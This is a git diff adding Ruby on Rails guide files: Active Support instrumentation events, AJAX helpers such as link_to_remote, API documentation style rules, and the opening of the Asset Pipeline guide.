+INFO. Options passed to fetch will be merged with the payload.
+
+<ruby>
+{
+  :key => 'name-of-complicated-computation'
+}
+</ruby>
+
+h4. cache_write.active_support
+
+|_.Key   |_.Value|
+|+:key+  |Key used in the store|
+
+INFO. Cache stores my add their own keys
+
+<ruby>
+{
+  :key => 'name-of-complicated-computation'
+}
+</ruby>
+
+h4. cache_delete.active_support
+
+|_.Key   |_.Value|
+|+:key+  |Key used in the store|
+
+<ruby>
+{
+  :key => 'name-of-complicated-computation'
+}
+</ruby>
+
+h4. cache_exist?.active_support
+
+|_.Key   |_.Value|
+|+:key+  |Key used in the store|
+
+<ruby>
+{
+  :key => 'name-of-complicated-computation'
+}
+</ruby>
+
+h3. Rails
+
+h4. deprecation.rails
+
+|_.Key           |_.Value|
+|+:message+      |The deprecation warning|
+|+:callstack+    |Where the deprecation came from|
+
+h3. Subscribing to an event
+
+Subscribing to an event is easy. Use +ActiveSupport::Notifications.subscribe+ with a block to
+listen to any notification.
+
+The block receives the following arguments:
+
+# The name of the event
+# Time when it started
+# Time when it finished
+# An unique ID for this event
+# The payload (described in previous sections)
+
+<ruby>
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
+  # your own custom stuff
+  Rails.logger.info "#{name} Received!"
+end
+</ruby>
+
+Defining all those block arguments each time can be tedious. You can easily create an +ActiveSupport::Notifications::Event+
+from block args like this:
+
+<ruby>
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+  event = ActiveSupport::Notification::Event.new args
+
+  event.name      # => "process_action.action_controller"
+  event.duration  # => 10 (in milliseconds)
+  event.payload   # => { :extra => :information }
+
+  Rails.logger.info "#{event} Received!"
+end
+</ruby>
+
+Most times you only care about the data itself. Here is a shortuct to just get the data.
+
+<ruby>
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
+  data = args.extract_options!
+  data # { :extra => :information }
+</ruby>
+
+You may also subscribe to events matching a regular expresssion. This enables you to subscribe to
+multiple events at once. Here's you could subscribe to everything from +ActionController+.
+
+<ruby>
+ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
+  # inspect all ActionController events
+end
+</ruby>
+
+h3. Creating custom events
+
+Adding your own events is easy as well. +ActiveSupport::Notifications+ will take care of
+all the heavy lifting for you. Simply call +instrument+ with a +name+, +payload+ and a block.
+The notification will be sent after the block returns. +ActiveSupport+ will generate the start and end times
+as well as the unique ID. All data passed into the +insturment+ call will make it into the payload.
+
+Here's an example:
+
+<ruby>
+ActiveSupport::Notifications.instrument "my.custom.event", :this => :data do
+  # do your custom stuff here
+end
+</ruby>
+
+Now you can listen to this event with:
+
+<ruby>
+ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
+  puts data.inspect # { :this => :data }
+end
+</ruby>
+
+You should follow Rails conventions when defining your own events. The format is: +event.library+.
+If you application is sending Tweets, you should create an event named +tweet.twitter+.
diff --git a/guides/source/ajax_on_rails.textile b/guides/source/ajax_on_rails.textile
new file mode 100644
index 0000000000..67b0c9f0d3
--- /dev/null
+++ b/guides/source/ajax_on_rails.textile
@@ -0,0 +1,309 @@
+h2. AJAX on Rails
+
+This guide covers the built-in Ajax/JavaScript functionality of Rails (and more);
+it will enable you to create rich and dynamic AJAX applications with ease! We will
+cover the following topics:
+
+* Quick introduction to AJAX and related technologies
+* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery etc
+* Testing JavaScript functionality
+
+endprologue.
+
+h3. Hello AJAX - a Quick Intro
+
+AJAX is about updating parts of a web page without reloading the page. An AJAX
+call happens as a response to an event, like when the page finished loading or
+when a user clicks on an element. For example, let say you click on a link, which
+would usually take you to a new page, but instead of doing that, an asynchronous
+HTTP request is made and the response is evaluated with JavaScript. That way the
+page is not reloaded and new information can be dynamically included in the page.
+The way that happens is by inserting, removing or changing parts of the DOM. The
+DOM, or Document Object Model, is a convention to represent the HTML document as
+a set of nodes that contain other nodes. For example, a list of names is represented
+as a +ul+ element node containing several +li+ element nodes. An AJAX call can
+be made to obtain a new list item to include, and append it inside a +li+ node to
+the +ul+ node.
+
+h4. Asynchronous JavaScript + XML
+
+AJAX means Asynchronous JavaScript + XML. Asynchronous means that the page is not
+reloaded, the request made is separate from the regular page request. JavaScript
+is used to evaluate the response and the XML part is a bit misleading as XML is
+not required, you respond to the HTTP request with JSON or regular HTML as well.
+
+h4. The DOM
+
+The DOM (Document Object Model) is a convention to represent HTML (or XML)
+documents, as a set of nodes that act as objects and contain other nodes. You can
+have a +div+ element that contains other +div+ elements as well as +p+ elements
+that contain text.
+
+h4. Standard HTML communication vs AJAX
+
+In regular HTML comunications, when you click on a link, the browser makes an HTTP
++GET+ request, the server responds with a new HTML document that the browsers renders
+and then replaces the previous one. The same thing happens when you click a button to
+submit a form, except that you make and HTTP +POST+ request, but you also get a new
+HTML document that the browser renders and replaces the current one. In AJAX
+communications, the request is separate, and the response is evaluated in JavaScript
+instead of rendered by the browser. That way you can have more control over the content
+that gets returned, and the page is not reloaded.
+
+h3. Built-in Rails Helpers
+
+Rails 4.0 ships with "jQuery":http://jquery.com as the default JavaScript library.
+The Gemfile contains +gem 'jquery-rails'+ which provides the +jquery.js+ and
++jquery_ujs.js+ files via the asset pipeline.
+
+You will have to use the +require+ directive to tell Sprockets to load +jquery.js+
+and +jquery.js+. For example, a new Rails application includes a default
++app/assets/javascripts/application.js+ file which contains the following lines:
+
+<plain>
+// ...
+//= require jquery
+//= require jquery_ujs
+// ...
+</plain>
+
+The +application.js+ file acts like a manifest and is used to tell Sprockets the
+files that you wish to require. In this case, you are requiring the files +jquery.js+
+and +jquery_ujs.js+ provided by the +jquery-rails+ gem.
+
+If the application is not using the asset pipeline, this can be accessed as:
+
+<ruby>
+javascript_include_tag :defaults
+</ruby>
+
+By default, +:defaults+ loads jQuery.
+
+You can also choose to use Prototype instead of jQuery and specify the option
+using +-j+ switch while generating the application.
+
+<shell>
+rails new app_name -j prototype
+</shell>
+
+This will add the +prototype-rails+ gem to the Gemfile and modify the
++app/assets/javascripts/application.js+ file:
+
+<plain>
+// ...
+//= require prototype
+//= require prototype_ujs
+// ...
+</plain>
+
+You are ready to add some AJAX love to your Rails app!
+
+h4. Examples
+
+To make them working with AJAX, simply pass the <tt>remote: true</tt> option to
+the original non-remote method.
+
+<ruby>
+button_to 'New', action: 'new', form_class: 'new-thing'
+</ruby>
+
+will produce
+
+<html>
+<form method="post" action="/controller/new" class="new-thing">
+  <div><input value="New" type="submit" /></div>
+</form>
+</html>
+
+<ruby>
+button_to 'Create', action: 'create', remote: true, form: { 'data-type' => 'json' }
+</ruby>
+
+will produce
+
+<html>
+<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
+  <div><input value="Create" type="submit" /></div>
+</form>
+</html>
+
+<ruby>
+button_to 'Delete Image', { action: 'delete', id: @image.id },
+             method: :delete, data: { confirm: 'Are you sure?' }
+</ruby>
+
+will produce
+
+<html>
+<form method="post" action="/images/delete/1" class="button_to">
+  <div>
+    <input type="hidden" name="_method" value="delete" />
+    <input data-confirm='Are you sure?' value="Delete" type="submit" />
+ </div>
+</form>
+</html>
+
+<ruby>
+button_to 'Destroy', 'http://www.example.com',
+             method: 'delete', remote: true, data: { disable_with: 'loading...', confirm: 'Are you sure?' }
+</ruby>
+
+will produce
+
+<html>
+<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
+  <div>
+    <input name='_method' value='delete' type='hidden' />
+    <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
+  </div>
+</form>
+</html>
+
+h4. The Quintessential AJAX Rails Helper: link_to_remote
+
+Let's start with what is probably the most often used helper: +link_to_remote+. It has an interesting feature from the documentation point of view: the options supplied to +link_to_remote+ are shared by all other AJAX helpers, so learning the mechanics and options of +link_to_remote+ is a great help when using other helpers.
+
+The signature of +link_to_remote+ function is the same as that of the standard +link_to+ helper:
+
+<ruby>
+def link_to_remote(name, options = {}, html_options = nil)
+</ruby>
+
+And here is a simple example of link_to_remote in action:
+
+<ruby>
+link_to_remote "Add to cart",
+  :url => add_to_cart_url(product.id),
+  :update => "cart"
+</ruby>
+
+* The very first parameter, a string, is the text of the link which appears on the page.
+* The second parameter, the +options+ hash is the most interesting part as it has the AJAX specific stuff:
+** *:url* This is the only parameter that is always required to generate the simplest remote link (technically speaking, it is not required, you can pass an empty +options+ hash to +link_to_remote+ - but in this case the URL used for the POST request will be equal to your current URL which is probably not your intention). This URL points to your AJAX action handler. The URL is typically specified by Rails REST view helpers, but you can use the +url_for+ format too.
+** *:update* Specifying a DOM id of the element we would like to update. The above example demonstrates the simplest way of accomplishing this - however, we are in trouble if the server responds with an error message because that will be injected into the page too! However, Rails has a solution for this situation:
+
+<ruby>
+link_to_remote "Add to cart",
+  :url => add_to_cart_url(product),
+  :update => { :success => "cart", :failure => "error" }
+</ruby>
+
+If the server returns 200, the output of the above example is equivalent to our first, simple one. However, in case of error, the element with the DOM id +error+ is updated rather than the +cart+ element.
+
+** *position* By default (i.e. when not specifying this option, like in the examples before) the response is injected into the element with the specified DOM id, replacing the original content of the element (if there was any). You might want to alter this behavior by keeping the original content - the only question is where to place the new content? This can specified by the +position+ parameter, with four possibilities:
+*** +:before+ Inserts the response text just before the target element. More precisely, it creates a text node from the response and inserts it as the left sibling of the target element.
+*** +:after+ Similar behavior to +:before+, but in this case the response is inserted after the target element.
+*** +:top+ Inserts the text into the target element, before its original content. If the target element was empty, this is equivalent with not specifying +:position+ at all.
+*** +:bottom+ The counterpart of +:top+: the response is inserted after the target element's original content.
+
+A typical example of using +:bottom+ is inserting a new &lt;li&gt; element into an existing list:
+
+<ruby>
+link_to_remote "Add new item",
+  :url => items_url,
+  :update => 'item_list',
+  :position => :bottom
+</ruby>
+
+** *:method* Most typically you want to use a POST request when adding a remote
+link to your view so this is the default behavior. However, sometimes you'll want to update (PATCH/PUT) or delete/destroy (DELETE) something and you can specify this with the +:method+ option. Let's see an example for a typical AJAX link for deleting an item from a list:
+
+<ruby>
+link_to_remote "Delete the item",
+  :url => item_url(item),
+  :method => :delete
+</ruby>
+
+Note that if we wouldn't override the default behavior (POST), the above snippet would route to the create action rather than destroy.
+
+** *JavaScript filters* You can customize the remote call further by wrapping it with some JavaScript code. Let's say in the previous example, when deleting a link, you'd like to ask for a confirmation by showing a simple modal text box to the user. This is a typical example what you can accomplish with these options - let's see them one by one:
+*** +:condition+ =&gt; +code+ Evaluates +code+ (which should evaluate to a boolean) and proceeds if it's true, cancels the request otherwise.
+*** +:before+ =&gt; +code+ Evaluates the +code+ just before launching the request. The output of the code has no influence on the execution. Typically used show a progress indicator (see this in action in the next example).
+*** +:after+ =&gt; +code+ Evaluates the +code+ after launching the request. Note that this is different from the +:success+ or +:complete+ callback (covered in the next section) since those are triggered after the request is completed, while the code snippet passed to +:after+ is evaluated after the remote call is made. A common example is to disable elements on the page or otherwise prevent further action while the request is completed.
+*** +:submit+ =&gt; +dom_id+ This option does not make sense for +link_to_remote+, but we'll cover it for the sake of completeness. By default, the parent element of the form elements the user is going to submit is the current form - use this option if you want to change the default behavior. By specifying this option you can change the parent element to the element specified by the DOM id +dom_id+.
+*** +:with+ &gt; +code+ The JavaScript code snippet in +code+ is evaluated and added to the request URL as a parameter (or set of parameters). Therefore, +code+ should return a valid URL query string (like "item_type=8" or "item_type=8&sort=true"). Usually you want to obtain some value(s) from the page - let's see an example:
+
+<ruby>
+link_to_remote "Update record",
+  :url => record_url(record),
+  :method => :patch,
+  :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')"
+</ruby>
+
+This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
+
+** *Callbacks* Since an AJAX call is typically asynchronous, as its name suggests (this is not a rule, and you can fire a synchronous request - see the last option, +:type+) your only way of communicating with a request once it is fired is via specifying callbacks. There are six options at your disposal (in fact 508, counting all possible response types, but these six are the most frequent and therefore specified by a constant):
+*** +:loading:+ =&gt; +code+ The request is in the process of receiving the data, but the transfer is not completed yet.
+*** +:loaded:+ =&gt; +code+ The transfer is completed, but the data is not processed and returned yet
+*** +:interactive:+ =&gt; +code+ One step after +:loaded+: The data is fully received and being processed
+*** +:success:+ =&gt; +code+ The data is fully received, parsed and the server responded with "200 OK"
+*** +:failure:+ =&gt; +code+ The data is fully received, parsed and the server responded with *anything* but "200 OK" (typically 404 or 500, but in general with any status code ranging from 100 to 509)
+*** +:complete:+ =&gt; +code+ The combination of the previous two: The request has finished receiving and parsing the data, and returned a status code (which can be anything).
+*** Any other status code ranging from 100 to 509: Additionally you might want to check for other HTTP status codes, such as 404. In this case simply use the status code as a number:
+<ruby>
+link_to_remote "Add new item",
+  :url => items_url,
+  :update => "item_list",
+  404 => "alert('Item not found!')"
+</ruby>
+Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action:
+
+<ruby>
+link_to_remote "Add new item",
+  :url => items_url,
+  :update => "item_list",
+  :before => "$('progress').show()",
+  :complete => "$('progress').hide()",
+  :success => "display_item_added(request)",
+  :failure => "display_error(request)"
+</ruby>
+
+** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+.
+* Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though:
+** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
+** +link_to_remote+ gains its AJAX behavior by specifying the remote call in the onclick handler of the link. If you supply +html_options[:onclick]+ you override the default behavior, so use this with care!
+
+We are finished with +link_to_remote+. I know this is quite a lot to digest for one helper function, but remember, these options are common for all the rest of the Rails view helpers, so we will take a look at the differences / additional parameters in the next sections.
+
+h4. AJAX Forms
+
+There are three different ways of adding AJAX forms to your view using Rails Prototype helpers. They are slightly different, but striving for the same goal: instead of submitting the form using the standard HTTP request/response cycle, it is submitted asynchronously, thus not reloading the page. These methods are the following:
+
+* +remote_form_for+ (and its alias +form_remote_for+) is tied to Rails most tightly of the three since it takes a resource, model or array of resources (in case of a nested resource) as a parameter.
+* +form_remote_tag+ AJAXifies the form by serializing and sending its data in the background
+* +submit_to_remote+ and +button_to_remote+ is more rarely used than the previous two. Rather than creating an AJAX form, you add a button/input
+
+Let's see them in action one by one!
+
+h5. +remote_form_for+
+
+h5. +form_remote_tag+
+
+h5. +submit_to_remote+
+
+h4. Serving JavaScript
+
+First we'll check out how to send JavaScript to the server manually. You are practically never going to need this, but it's interesting to understand what's going on under the hood.
+
+<ruby>
+def javascript_test
+  render :text => "alert('Hello, world!')",
+         :content_type => "text/javascript"
+end
+</ruby>
+
+(Note: if you want to test the above method, create a +link_to_remote+ with a single parameter - +:url+, pointing to the +javascript_test+ action)
+
+What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior).
+
+h3. Testing JavaScript
+
+JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it:
+
+* (Fire)Watir
+* Selenium
+* Celerity/Culerity
+* Cucumber+Webrat
+* Mention stuff like screw.unit/jsSpec
+
+Note to self: check out the RailsConf JS testing video
diff --git a/guides/source/api_documentation_guidelines.textile b/guides/source/api_documentation_guidelines.textile
new file mode 100644
index 0000000000..3de5b119ee
--- /dev/null
+++ b/guides/source/api_documentation_guidelines.textile
@@ -0,0 +1,191 @@
+h2. API Documentation Guidelines
+
+This guide documents the Ruby on Rails API documentation guidelines.
+
+endprologue.
+
+h3. RDoc
+
+The Rails API documentation is generated with RDoc. Please consult the documentation for help with the "markup":http://rdoc.rubyforge.org/RDoc/Markup.html, and also take into account these "additional directives":http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html.
+
+h3. Wording
+
+Write simple, declarative sentences. Brevity is a plus: get to the point.
+
+Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...".
+
+Start comments in upper case. Follow regular punctuation rules:
+
+<ruby>
+# Declares an attribute reader backed by an internally-named instance variable.
+def attr_internal_reader(*attrs)
+  ...
+end
+</ruby>
+
+Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage.
+
+Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil?
+
+The proper names of Rails components have a space in between the words, like "Active Support". +ActiveRecord+ is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal.
+
+Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation.
+
+Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
+
+h3. English
+
+Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc.). See "a list of American and British English spelling differences here":http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences.
+
+h3. Example Code
+
+Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.
+
+Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use "Rails coding conventions":contributing_to_ruby_on_rails.html#follow-the-coding-conventions.
+
+Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:
+
+<ruby>
+# Converts a collection of elements into a formatted string by calling
+# <tt>to_s</tt> on all elements and joining them.
+#
+#   Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
+</ruby>
+
+On the other hand, big chunks of structured documentation may have a separate "Examples" section:
+
+<ruby>
+# ==== Examples
+#
+#   Person.exists?(5)
+#   Person.exists?('5')
+#   Person.exists?(:name => "David")
+#   Person.exists?(['name LIKE ?', "%#{query}%"])
+</ruby>
+
+The results of expressions follow them and are introduced by "# => ", vertically aligned:
+
+<ruby>
+# For checking if a fixnum is even or odd.
+#
+#   1.even? # => false
+#   1.odd?  # => true
+#   2.even? # => true
+#   2.odd?  # => false
+</ruby>
+
+If a line is too long, the comment may be placed on the next line:
+
+<ruby>
+#   label(:post, :title)
+#   # => <label for="post_title">Title</label>
+#
+#   label(:post, :title, "A short title")
+#   # => <label for="post_title">A short title</label>
+#
+#   label(:post, :title, "A short title", :class => "title_label")
+#   # => <label for="post_title" class="title_label">A short title</label>
+</ruby>
+
+Avoid using any printing methods like +puts+ or +p+ for that purpose.
+
+On the other hand, regular comments do not use an arrow:
+
+<ruby>
+#   polymorphic_url(record)  # same as comment_url(record)
+</ruby>
+
+h3. Filenames
+
+As a rule of thumb, use filenames relative to the application root:
+
+<plain>
+config/routes.rb            # YES
+routes.rb                   # NO
+RAILS_ROOT/config/routes.rb # NO
+</plain>
+
+h3. Fonts
+
+h4. Fixed-width Font
+
+Use fixed-width fonts for:
+* Constants, in particular class and module names.
+* Method names.
+* Literals like +nil+, +false+, +true+, +self+.
+* Symbols.
+* Method parameters.
+* File names.
+
+<ruby>
+class Array
+  # Calls <tt>to_param</tt> on all its elements and joins the result with
+  # slashes. This is used by <tt>url_for</tt> in Action Pack.
+  def to_param
+    collect { |e| e.to_param }.join '/'
+  end
+end
+</ruby>
+
+WARNING: Using a pair of +&#43;...&#43;+ for fixed-width font only works with *words*; that is: anything matching <tt>\A\w&#43;\z</tt>. For anything else  use +&lt;tt&gt;...&lt;/tt&gt;+, notably symbols, setters, inline snippets, etc.
+
+h4. Regular Font
+
+When "true" and "false" are English words rather than Ruby keywords use a regular font:
+
+<ruby>
+# Runs all the validations within the specified context. Returns true if no errors are found,
+# false otherwise.
+#
+# If the argument is false (default is +nil+), the context is set to <tt>:create</tt> if
+# <tt>new_record?</tt> is true, and to <tt>:update</tt> if it is not.
+#
+# Validations with no <tt>:on</tt> option will run no matter the context. Validations with
+# some <tt>:on</tt> option will only run in the specified context.
+def valid?(context = nil)
+  ...
+end
+</ruby>
+
+h3. Description Lists
+
+In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
+
+<ruby>
+# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>.
+</ruby>
+
+The description starts in upper case and ends with a full stop—it's standard English.
+
+h3. Dynamically Generated Methods
+
+Methods created with +(module|class)_eval(STRING)+ have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template:
+
+<ruby>
+for severity in Severity.constants
+  class_eval <<-EOT, __FILE__, __LINE__
+    def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
+      add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
+    end                                                              # end
+                                                                     #
+    def #{severity.downcase}?                                        # def debug?
+      #{severity} >= @level                                          #   DEBUG >= @level
+    end                                                              # end
+  EOT
+end
+</ruby>
+
+If the resulting lines are too wide, say 200 columns or more, put the comment above the call:
+
+<ruby>
+# def self.find_by_login_and_activated(*args)
+#   options = args.extract_options!
+#   ...
+# end
+self.class_eval %{
+  def self.#{method_id}(*args)
+    options = args.extract_options!
+    ...
+  end
+}
+</ruby>
diff --git a/guides/source/asset_pipeline.textile b/guides/source/asset_pipeline.textile
new file mode 100644
index 0000000000..e385ec4f17
--- /dev/null
+++ b/guides/source/asset_pipeline.textile
@@ -0,0 +1,765 @@
+h2. Asset Pipeline
+
+This guide covers the asset pipeline introduced in Rails 3.1.
+By referring to this guide you will be able to:
+
+* Understand what the asset pipeline is and what it does
+* Properly organize your application assets
+* Understand the benefits of the asset pipeline
+* Add a pre-processor to the pipeline
+* Package assets with a gem
+
+endprologue.
+
+h3. What is the Asset Pipeline?
+
+The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB.
+
+Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default.
+
+Making the asset pipeline a core feature of Rails means that all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011.
+
+In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition:
+
+<ruby>
+config.assets.enabled = false
+</ruby>
+
+You can also disable the asset pipeline while creating a new application by passing the <tt>--skip-sprockets</tt> option.
+
+<plain>
+rails new appname --skip-sprockets
+</plain>
+
+You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline.
+
+
+h4. Main Features
+
+The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser must make to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application.
+
+Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing +:cache => true+ at the end of the +javascript_include_tag+ and +stylesheet_link_tag+ methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries.
+
+Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master +.js+ file and all CSS files into one master +.css+ file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents..
+
+The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.
+
+The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default.
+
+h4. What is Fingerprinting and Why Should I Care?
+
+Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates.
+
+When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as _cache busting_.
+
+The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ could be renamed with an MD5 digest of its contents:
+
+<plain>
+global-908e25f4bf641868d8683022a5b62f54.css
+</plain>
+
+This is the strategy adopted by the Rails asset pipeline.
+
+Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this:
+
+<plain>
+/stylesheets/global.css?1309495796
+</plain>
+
+The query string strategy has several disadvantages:
+
+<ol>
+  <li>
+    <strong>Not all caches will reliably cache content where the filename only differs by query parameters</strong>.<br>
+    "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
+  </li>
+  <li>
+    <strong>The file name can change between nodes in multi-server environments.</strong><br>
+    The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request.
+  </li>
+  <li>
+    <strong>Too much cache invalidation</strong><br />
+    When static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
+  </li>
+</ol>
+
+Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content.
+
+Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the +config.assets.digest+ option.
+
+More reading:
+
+* "Optimize caching":http://code.google.com/speed/page-speed/docs/caching.html
+* "Revving Filenames: don’t use querystring":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/
+
+
+h3. How to Use the Asset Pipeline
+
+In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem.
+
+Assets can still be placed in the +public+ hierarchy. Any assets under +public+ will be served as static files by the application or web server. You should use +app/assets+ for files that must undergo some pre-processing before they are served.
+
+In production, Rails precompiles these files to +public/assets+ by default. The precompiled copies are then served as static assets by the web server. The files in +app/assets+ are never served directly in production.
+
+When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller.
+
+For example, if you generate a +ProjectsController+, Rails will also add a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+.
+
+NOTE: You must have an "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes.
+
+h4. Asset Organization
+
+Pipeline assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+.
+
++app/assets+ is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.
+
++lib/assets+ is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.
+
++vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks.
+
+h5. Search paths
+
+When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it.
+
+The default locations are: +app/assets/images+ and the subdirectories +javascripts+ and +stylesheets+ in all three asset locations, but these subdirectories are not special. Any path under +assets/*+ will be searched.
+
+For example, these files:
+
+<plain>
+app/assets/javascripts/home.js
+lib/assets/javascripts/moovinator.js
+vendor/assets/javascripts/slider.js
+vendor/assets/somepackage/phonebox.js
+</plain>
+
+would be referenced in a manifest like this:
+
+<plain>
+//= require home
+//= require moovinator
+//= require slider
+//= require phonebox
+</plain>
+
+Assets inside subdirectories can also be accessed.
+
+<plain>
+app/assets/javascripts/sub/something.js
+</plain>
+
+is referenced as:
+
+<plain>
+//= require sub/something
+</plain>
+
+You can view the search path by inspecting +Rails.application.config.assets.paths+ in the Rails console.
+
+Besides the standard +assets/*+ paths, additional (fully qualified) paths can be added to the pipeline in +config/application.rb+. For example:
+
+<ruby>
+config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
+</ruby>
+
+Paths are traversed in the order that they occur in the search path. By default, this means the files in +app/assets+ take precedence, and will mask corresponding paths in +lib+ and +vendor+.
+
+It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment.
+
+h5. Using index files
+
+Sprockets uses files named +index+ (with the relevant extensions) for a special purpose.
+
+For example, if you have a jQuery library with many modules, which is stored in +lib/assets/library_name+, the file +lib/assets/library_name/index.js+ serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple <tt>require_tree</tt> directive.
+
+The library as a whole can be accessed in the site's application manifest like so:
+
+<plain>
+//= require library_name
+</plain>
+
+This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere.
+
+h4. Coding Links to Assets
+
+Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+.
+
+<erb>
+<%= stylesheet_link_tag "application" %>
+<%= javascript_include_tag "application" %>
